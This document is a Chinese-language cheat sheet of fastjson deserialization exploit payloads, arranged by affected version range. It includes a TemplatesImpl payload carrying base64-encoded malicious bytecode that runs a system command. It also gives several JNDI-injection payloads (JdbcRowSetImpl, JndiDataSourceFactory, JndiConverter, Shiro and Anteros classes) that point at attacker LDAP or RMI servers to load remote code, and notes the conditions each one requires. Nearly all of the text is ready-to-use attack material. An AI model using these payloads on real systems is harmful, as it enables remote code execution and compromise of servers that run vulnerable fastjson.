fastjson整理

fastjson<=1.2.24

其中的base64编码是由恶意类生成的,使用时自己调整即可.

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

fastjson1.2.25~1.2.41

• 开启autotype

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName": "rmi://127.0.0.1:1099/ift2ty",
  "autoCommit": true
}

fastjson1.2.25~1.2.42

• 开启autotype

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://localhost:1389/Exploit", 
	"autoCommit":true
}

fastjson1.2.25~1.2.43

• 开启autotype

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
	"dataSourceName":"ldap://localhost:1389/Exploit",
	"autoCommit":true
}

fastjson1.2.25~1.2.45

• 开启autotype

{
	"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
	"properties":
	{
		"data_source":"ldap://localhost:1389/Exploit"
	}
}

fastjson1.2.25~1.2.47

• 无需开启autotype,无条件直接打

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Exploit",
        "autoCommit": true
    }
}

fastjson<=1.2.62

• 开启autotype
• 存在xbean-reflect包

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:1234/ExportObject"
}

fastjson<=1.2.66

• 开启autotype
  存在下面三种利用方式:
• 存在shiro-core包,则可使用org.apache.shiro.jndi.JndiObjectFactory类poc
  即pom.xml中含有

<dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.6.0</version>
        </dependency>

{
    "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
    "jndiNames": [
        "ldap://localhost:1389/Exploit"
    ],
    "Realms": [
        ""
    ]
}

• 存在Anteros-Core和Anteros-DBCP包,则可使用br.com.anteros.dbcp.AnterosDBCPConfig类PoC
• 这个poc本地测试没通.

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://localhost:1389/Exploit"
}

或

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://localhost:1389/Exploit"
}

• 存在ibatis-sqlmap和jta包,则可使用com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC
• 这个poc本地测试也没通

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://localhost:1389/Exploit"
    }
}

后面的版本测试都不通,索性先不管了,遇到fastjson的拿插件多扫扫吧...